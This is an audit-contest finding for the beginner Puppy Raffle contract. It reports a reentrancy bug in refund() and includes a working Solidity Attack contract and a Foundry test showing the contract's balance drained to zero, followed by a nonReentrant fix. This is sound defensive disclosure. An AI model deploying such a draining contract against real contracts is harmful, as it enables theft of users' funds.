First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The lack of countermeasures against reentrancy attacks by the Refund function leads to the possibility that the entire balance of the Contract is extracted.

Osora9

Summary

The refund function in the PuppyRaffle contract does not have any preventive measures against reentrancy attacks. As a result, an attacker can potentially drain all the funds from the contract using a malicious external contract.

Vulnerability Details

In the provided PuppyRaffle contract, the refund function sends ether before marking the player as refunded:

function refund(uint256 playerIndex) public {
...
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
...
}

This order of operations allows a malicious contract (like Attack) to re-enter the refund function before the state is updated, draining the contract's balance.

The Attack contract demonstrates this vulnerability. Once a player (the Attack contract in this case) has entered the raffle, it calls the refund function. When sendValue sends ether to the Attack contract, it triggers the receive function, which checks if the PuppyRaffle contract has more than 1 ether. If it does, the attack continues, and the refund function is called again.

Impact

An attacker can drain all the ether from the PuppyRaffle contract.

POC

  1. Create an Attack Contract.

  2. This contract has fallback payable function which will call the refund function of PuppyRaffle when it’s called.

  3. Inside the Test contract, I gave 3 ether to the PuppyRaffle contract

  4. Execute the Attack Contract

  5. PuppyRaffle balance is now 0 ether.

Attack.sol

//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import {PuppyRaffle} from "./PuppyRaffle.sol";
​
contract Attack {
PuppyRaffle public puppyRaffle;
​
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
​
function reentrancyAttack() public payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee()}(players);
puppyRaffle.refund(0);
}
​
receive() external payable {
if(address(puppyRaffle).balance >= 1 ether){
puppyRaffle.refund(0);
}
}
}

PuppyRaffleTest.t.sol

function testReentrancyAttackOnFund() public {
deal(address(puppyRaffle), 3 ether);
console.log("puppyRaffle balance before: %s", address(puppyRaffle).balance / 1e18 ); //3
attack.reentrancyAttack{value: entranceFee}();
console.log("puppyRaffle balance after: %s", address(puppyRaffle).balance / 1e18); //0
assertEq(address(puppyRaffle).balance, 0);
}

Tools Used

Foundry

Recommendations

Use the reentrancyGuard modifier from OpenZeppelin to protect against reentrancy attacks. Implement it as follows:

- contract PuppyRaffle is ERC721, Ownable{
- function refund(uint256 playerIndex) public {
​
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {
+ // ... (other parts of the contract)
+
+ function refund(uint256 playerIndex) public nonReentrant {
+ // ... (rest of the function)
+ }
​

By using nonReentrant, the function will revert if there's a recursive call, preventing the reentrancy attack.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!